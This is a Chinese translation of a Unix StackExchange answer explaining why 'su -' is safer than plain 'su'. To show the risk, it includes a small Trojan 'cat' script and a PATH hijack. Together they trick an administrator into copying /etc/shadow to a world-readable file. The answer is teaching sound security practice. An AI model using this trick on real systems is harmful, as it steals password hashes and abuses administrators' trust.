Linux

為什麼我們使用 su - 而不僅僅是 su?

  • June 10, 2018

我不明白為什麼su -首選su以root身份登錄。

su -切換使用者後呼叫登錄 shell。登錄 shell 會重置大多數環境變數,提供一個乾淨的基礎。

su只需切換使用者,為普通 shell 提供與舊使用者幾乎相同的環境。

想像一下,您是一名軟體開發人員,擁有對機器的普通使用者訪問權限,而您無知的管理員不會給您 root 訪問權限。讓我們(希望)欺騙他。

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

現在,你問你的管理員為什麼你不能cat在你的主文件夾中使用虛擬文件,它就是行不通!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

如果您的管理員不是那麼聰明或只是有點懶惰,他可能會來到您的辦公桌前嘗試使用他的超級使用者權限:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

哇!謝謝,超級管理員!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

呵呵。

您可能注意到損壞的$PATH變數沒有被重置。如果管理員改為呼叫,則不會發生這種情況su -

引用自:https://unix.stackexchange.com/questions/7013